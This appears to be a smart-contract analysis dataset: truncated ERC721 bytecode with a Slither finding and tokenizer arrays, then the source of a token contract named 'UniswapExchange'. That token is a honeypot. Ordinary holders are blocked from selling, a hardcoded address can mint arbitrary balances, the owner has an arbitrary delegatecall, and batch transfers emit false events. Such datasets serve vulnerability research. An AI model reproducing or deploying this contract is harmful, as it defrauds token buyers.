06f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e00000000000000000000000000000000000000006064820152608401610942565b60006127be836111fa565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061282d57508373ffffffffffffffffffffffffffffffffffffffff1661281584610a28565b73ffffffffffffffffffffffffffffffffffffffff16145b8061286a575073ffffffffffffffffffffffffffffffffffffffff8082166000908152606a602090815260408083209388168352929052205460ff165b949350505050565b8273ffffffffffffffffffffffffffffffffffffffff16612892826111fa565b73ffffffffffffffffffffffffffffffffffffffff1614612935576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e00000000000000000000000000000000000000000000006064820152608401610942565b73ffffffffffffffffffffffffffffffffffffffff82166129d7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610942565b6129e283838361364c565b6129ed600082612662565b73ffffffffffffffffffffffffffffffffffffffff83166000908152606860205260408120805460019290612a239084906144e0565b909155505073ffffffffffffffffffffffffffffffffffffffff82166000908152606860205260408120805460019290612a5e908490614477565b909155505060008181526067602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff86811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b80471015612b4e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610942565b60008273ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d8060008114612ba8576040519150601f19603f3d011682016040523d82523d6000602084013e612bad565b606091505b5050905080610c8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610942565b60c9805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000611ce28284614477565b6101095460009062010000900460ff16612ce85761010454612ce39084613657565b612cfa565b612cfa83612cf4611182565b90613657565b905034811115612d66576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f56616c756520696e636f727265637400000000000000000000000000000000006044820152606401610942565b60fd54612d739034612cb5565b60fd5560fb546040517f107e9cf100000000000000000000000000000000000000000000000000000000815234600482015273ffffffffffffffffffffffffffffffffffffffff9091169063107e9cf190602401600060405180830381600087803b158015612de157600080fd5b505af1158015612df5573d6000803e3d6000fd5b50505073ffffffffffffffffffffffffffffffffffffffff8316600090815260fc6020526040902054612e29915084612cb5565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260fc6020526040902055610c8a83835b60006101015411612e67576001612e7b565b61010154612e788361176d60995490565b11155b612ee1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f4578636565646564206d617800000000000000000000000000000000000000006044820152606401610942565b60005b82811015610c8a576000612ef760995490565b612f02906001614477565b9050612f0e8382613663565b5080612f1981614577565b915050612ee4565b612f2c848484612872565b612f388484848461367d565b610a22576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610942565b606060ff805461081e90614523565b60608161301357505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b811561303d578061302781614577565b91506130369050600a8361448f565b9150613017565b60008167ffffffffffffffff81111561307f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156130a9576020820181803683370190505b5090505b841561286a576130be6001836144e0565b91506130cb600a866145b0565b6130d6906030614477565b60f81b818381518110613112577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535061314c600a8661448f565b94506130ad565b600081815b855181101561321e57600086828151811061319c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190508083116131de57604080516020810185905290810182905260600160405160208183030381529060405280519060200120925061320b565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b508061321681614577565b915050613158565b509092149392505050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd0000000000000000000000000000000000000000000000000000000014806132bc57507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b8061080957507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff00000000000000000000000000000000000000000000000000000000831614610809565b600054610100900460ff1680613325575060005460ff16155b6133b1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a65640000000000000000000000000000000000006064820152608401610942565b600054610100900460ff1615801561253d57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00001661010117905580156122b757600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16905550565b600054610100900460ff1680613439575060005460ff16155b6134c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a65640000000000000000000000000000000000006064820152608401610942565b600054610100900460ff1615801561350457600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000166101011790555b8251613517906065906020860190613e1f565b50815161352b906066906020850190613e1f565b508015610c8a57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff169055505050565b600054610100900460ff1680613578575060005460ff16155b613604576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a65640000000000000000000000000000000000006064820152608401610942565b600054610100900460ff1615801561364357600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000166101011790555b61253d33612c3e565b610c8a83838361387c565b6000611ce282846144a3565b61117e828260405180602001604052806000815250613982565b600073ffffffffffffffffffffffffffffffffffffffff84163b15613871576040517f150b7a0200000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063150b7a02906136f490339089908890889060040161441b565b602060405180830381600087803b15801561370e57600080fd5b505af192505050801561375c575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201909252613759918101906141dd565b60015b613826573d80801561378a576040519150601f19603f3d011682016040523d82523d6000602084013e61378f565b606091505b50805161381e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610942565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a020000000000000000000000000000000000000000000000000000000014905061286a565b506001949350505050565b73ffffffffffffffffffffffffffffffffffffffff83166138e4576138df81609980546000838152609a60205260408120829055600182018355919091527f72a152ddfb8e864297c917af52ea6c1c68aead0fee1a62673fcc7e0c94979d000155565b613921565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614613921576139218382613a25565b73ffffffffffffffffffffffffffffffffffffffff821661394557610c8a81613adc565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610c8a57610c8a8282613c00565b61398c8383613c51565b613999600084848461367d565b610c8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610942565b60006001613a32846112ac565b613a3c91906144e0565b600083815260986020526040902054909150808214613a9c5773ffffffffffffffffffffffffffffffffffffffff841660009081526097602090815260408083208584528252808320548484528184208190558352609890915290208190555b50600091825260986020908152604080842084905573ffffffffffffffffffffffffffffffffffffffff9094168352609781528383209183525290812055565b609954600090613aee906001906144e0565b6000838152609a602052604081205460998054939450909284908110613b3d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060998381548110613b85577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000918252602080832090910192909255828152609a90915260408082208490558582528120556099805480613be4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000613c0b836112ac565b73ffffffffffffffffffffffffffffffffffffffff9093166000908152609760209081526040808320868452825280832085905593825260989052919091209190915550565b73ffffffffffffffffffffffffffffffffffffffff8216613cce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610942565b60008181526067602052604090205473ffffffffffffffffffffffffffffffffffffffff1615613d5a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610942565b613d666000838361364c565b73ffffffffffffffffffffffffffffffffffffffff82166000908152606860205260408120805460019290613d9c908490614477565b909155505060008181526067602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054613e2b90614523565b90600052602060002090601f016020900481019282613e4d5760008555613e93565b82601f10613e6657805160ff1916838001178555613e93565b82800160010185558215613e93579182015b82811115613e93578251825591602001919060010190613e78565b50613e9f929150613ea3565b5090565b5b80821115613e9f5760008155600101613ea4565b600067ffffffffffffffff80841115613ed357613ed3614622565b604051601f85017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f01168101908282118183101715613f1957613f19614622565b81604052809350858152868686011115613f3257600080fd5b858560208301376000602087830101525050509392505050565b803573ffffffffffffffffffffffffffffffffffffffff81168114613f7057600080fd5b919050565b60008083601f840112613f86578081fd5b50813567ffffffffffffffff811115613f9d578182fd5b6020830191508360208260051b8501011115613fb857600080fd5b9250929050565b80358015158114613f7057600080fd5b600082601f830112613fdf578081fd5b611ce283833560208501613eb8565b600060208284031215613fff578081fd5b611ce282613f4c565b6000806040838503121561401a578081fd5b61402383613f4c565b915061403160208401613f4c565b90509250929050565b60008060006060848603121561404e578081fd5b61405784613f4c565b925061406560208501613f4c565b9150604084013590509250925092565b6000806000806080858703121561408a578081fd5b61409385613f4c565b93506140a160208601613f4c565b925060408501359150606085013567ffffffffffffffff8111156140c3578182fd5b8501601f810187136140d3578182fd5b6140e287823560208401613eb8565b91505092959194509250565b60008060408385031215614100578182fd5b61410983613f4c565b915061403160208401613fbf565b60008060408385031215614129578182fd5b61413283613f4c565b946020939093013593505050565b60008060008060408587031215614155578384fd5b843567ffffffffffffffff8082111561416c578586fd5b61417888838901613f75565b90965094506020870135915080821115614190578384fd5b5061419d87828801613f75565b95989497509550505050565b6000602082840312156141ba578081fd5b5035919050565b6000602082840312156141d2578081fd5b8135611ce281614651565b6000602082840312156141ee578081fd5b8151611ce281614651565b60006020828403121561420a578081fd5b813567ffffffffffffffff811115614220578182fd5b61286a84828501613fcf565b600080600060608486031215614240578081fd5b833567ffffffffffffffff80821115614257578283fd5b61426387838801613fcf565b94506020860135915080821115614278578283fd5b5061428586828701613fcf565b92505061429460408501613f4c565b90509250925092565b6000602082840312156142ae578081fd5b5051919050565b6000806000604084860312156142c9578081fd5b83359250602084013567ffffffffffffffff8111156142e6578182fd5b6142f286828701613f75565b9497909650939450505050565b600080600080600060a08688031215614316578283fd5b8535945060208601359350604086013592506060860135915061433b60808701613fbf565b90509295509295909350565b600080600080600080600060e0888a031215614361578485fd5b873596506020880135955060408801359450606088013593506080880135925060a0880135915061439460c08901613fbf565b905092959891949750929550565b600081518084526143ba8160208601602086016144f7565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b600083516143fe8184602088016144f7565b8351908301906144128183602088016144f7565b01949350505050565b600073ffffffffffffffffffffffffffffffffffffffff80871683528086166020840152508360408301526080606083015261445a60808301846143a2565b9695505050505050565b602081526000611ce260208301846143a2565b6000821982111561448a5761448a6145c4565b500190565b60008261449e5761449e6145f3565b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156144db576144db6145c4565b500290565b6000828210156144f2576144f26145c4565b500390565b60005b838110156145125781810151838201526020016144fa565b83811115610a225750506000910152565b600181811c9082168061453757607f821691505b60208210811415614571577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156145a9576145a96145c4565b5060010190565b6000826145bf576145bf6145f3565b500690565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7fffffffff00000000000000000000000000000000000000000000000000000000811681146122b757600080fdfea264697066735822122079076c56cffa6c10f9dbe9a8c113dc048bc18f197d5d02dbb3fd7cbe95acc19964736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22203,
2094,
2581,
2581,
2497,
2581,
3401,
2549,
3540,
2050,
2509,
2063,
18139,
2278,
2509,
2278,
2509,
9818,
2094,
2575,
2683,
2549,
2063,
2629,
2050,
21057,
21057,
2692,
2575,
2094,
2549,
2094,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
21183,
12146,
1013,
4769,
6279,
24170,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
21183,
12146,
1013,
8785,
1013,
3647,
18900,
6979,
26952,
13662,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
19204,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,414 | 0x951d93a98d13d139d8c97561f023a60af7f9f4fe | pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0x6080604052600436106100dd5760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb146104ec578063aa2f522014610552578063d6d2b6ba1461062c578063dd62ed3e14610707576100dd565b806370a08231146103905780638cd8db8a146103f557806395d89b411461045c576100dd565b806318160ddd116100bb57806318160ddd1461024b57806321a9cf341461027657806323b872dd146102df578063313ce56714610365576100dd565b806306fdde03146100e2578063095ea7b314610172578063109b1ee6146101d8575b600080fd5b3480156100ee57600080fd5b506100f761078c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082a565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b50610231600480360360408110156101fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061091c565b604051808215151515815260200191505060405180910390f35b34801561025757600080fd5b50610260610a77565b6040518082815260200191505060405180910390f35b34801561028257600080fd5b506102c56004803603602081101561029957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a7d565b604051808215151515815260200191505060405180910390f35b61034b600480360360608110156102f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b23565b604051808215151515815260200191505060405180910390f35b34801561037157600080fd5b5061037a610e36565b6040518082815260200191505060405180910390f35b34801561039c57600080fd5b506103df600480360360208110156103b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e3b565b6040518082815260200191505060405180910390f35b34801561040157600080fd5b506104426004803603606081101561041857600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610e53565b604051808215151515815260200191505060405180910390f35b34801561046857600080fd5b50610471610ef7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b1578082015181840152602081019050610496565b50505050905090810190601f1680156104de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105386004803603604081101561050257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f95565b604051808215151515815260200191505060405180910390f35b6106126004803603604081101561056857600080fd5b810190808035906020019064010000000081111561058557600080fd5b82018360208201111561059757600080fd5b803590602001918460208302840111640100000000831117156105b957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610faa565b604051808215151515815260200191505060405180910390f35b6107056004803603604081101561064257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561067f57600080fd5b82018360208201111561069157600080fd5b803590602001918460018302840111640100000000831117156106b357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611213565b005b34801561071357600080fd5b506107766004803603604081101561072a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611324565b6040518082815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108225780601f106107f757610100808354040283529160200191610822565b820191906000526020600020905b81548152906001019060200180831161080557829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109b9575073ffeb8bb8436cb28ac727e3f7371981d7de7fcda973ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6109c257600080fd5b6000821115610a16576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60085481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ad957600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600080821415610b365760019050610e2f565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c7d5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bf257600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b610c88848484611349565b610c